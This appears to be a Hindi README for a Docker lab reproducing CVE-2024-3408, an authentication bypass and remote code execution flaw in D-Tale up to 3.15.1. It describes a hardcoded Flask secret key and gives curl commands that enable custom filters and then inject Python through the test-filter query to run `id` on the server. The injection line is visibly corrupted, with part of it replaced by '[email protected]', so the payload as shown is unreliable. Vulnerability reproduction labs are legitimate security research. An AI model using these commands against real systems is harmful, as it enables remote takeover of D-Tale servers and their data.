CVE-2024-3408 - D-Tale प्रमाणीकरण बाईपास और RCE

CVE-2024-3408 के लिए पुनरुत्पादित प्रयोगशाला वातावरण, जो D-Tale में प्रमाणीकरण बाईपास और रिमोट कोड निष्पादन कमजोरी है।

कमजोरी

D-Tale संस्करण 3.15.1 तक निम्नलिखित कारणों से कमजोर हैं:

1. हार्डकोडेड SECRET_KEY ("Dtale") Flask सत्र हस्ताक्षर के लिए - सत्र कुकी जालसाजी की अनुमति देता है
2. कस्टम फ़िल्टर के माध्यम से कोड निष्पादन - test-filter एंडपॉइंट pandas query का उपयोग करता है जिसका दुरुपयोग मनमाना Python कोड निष्पादित करने के लिए किया जा सकता है

CVSS: 9.8 (गंभीर)
प्रभावित: D-Tale <= 3.15.1

त्वरित आरंभ

docker compose up -d --build

D-Tale http://localhost:40000 पर उपलब्ध होगा

मान्य करें

# Step 1: Enable custom filters
curl -s "http://localhost:40000/dtale/update-settings/1?settings=%7B%22enable_custom_filters%22%3Atrue%7D"
# Expected: {"success":true}

# Step 2: Execute command via pandas query injection
curl -s -G "http://localhost:40000/dtale/test-filter/1" \
  --data-urlencode "[email protected].__import__('os').popen('id').read()"
# Expected: Response contains "uid=" and "gid=" (command output in error message)